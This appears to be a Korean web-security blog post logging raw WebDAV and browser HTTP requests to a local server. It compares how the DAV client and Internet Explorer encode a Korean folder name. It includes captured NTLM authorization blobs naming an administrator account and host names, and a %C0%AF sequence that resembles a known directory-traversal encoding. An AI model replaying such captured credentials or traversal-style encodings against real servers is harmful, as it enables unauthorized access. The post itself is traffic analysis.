Authorization: Negotiate TlRMTVNTUAADAAAAGAAYAJ4AAAAYABgAtgAAAB4AHgBIAAAAGgAaAGYAAAAeAB4AgAAAAAAAAADOAAAABYKIogUBKAoAAAAPTgBPAFcAQwBPAE0ALQBRADYAVABRADMARgBUAFkAYQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBGAFUASgBJAFQAUwBVAC0ANAA3ADcANwA4AEIARQAn6dHO6R2IbwAAAAAAAAAAAAAAAAAAAAD3pcr4LPCeDLyddbAl5j2KJKQ5h+yDKDo=


PROPFIND /abcde/%EC%9C%A0 HTTP/1.1
Content-Language: en-us
Accept-Language: ko, en-us;q=0.2
Content-Type: text/xml
Translate: f
Depth: 0
Content-Length: 0
User-Agent: Microsoft Data Access Internet Publishing Provider DAV
Host: 192.168.1.152
Connection: Keep-Alive


PROPFIND /abcde/%EC%9C%A0 HTTP/1.1
Content-Language: en-us
Accept-Language: ko, en-us;q=0.2
Content-Type: text/xml
Translate: f
Depth: 1
Content-Length: 0
User-Agent: Microsoft Data Access Internet Publishing Provider DAV
Host: 192.168.1.152
Connection: Keep-Alive
Authorization: Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAFASgKAAAADw==







=============폴더와 폴더간 파일요청=============================
GET /abcde/%EC%9C%A0/%EC%9C%A0.txt HTTP/1.1
Content-Language: en-us
Accept-Language: ko, en-us;q=0.2
Translate: f
User-Agent: Microsoft Data Access Internet Publishing Provider DAV
Host: 192.168.1.152
Connection: Keep-Alive

=============웹을 통한 파일요청=============================
GET /abcde/%C0%AF/%C0%AF.txt HTTP/1.0
Accept: */*
Accept-Language: ko
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)
Host: 192.168.1.152
Connection: Keep-Alive
2009/05/19 16:21 2009/05/19 16:21

'webhxxx > weblog' 카테고리의 다른 글

안드로이드 user-agent  (0) 2010.05.11
허니팟  (0) 2010.03.14
Zeroboard4 코드실행 취약점을 이용한 웹쉘공격  (0) 2010.03.09
Pangolin(MSSQL)  (0) 2009.12.18
User-Agent: Mediapartners-Google  (0) 2009.10.01
Posted by applicationlayer
: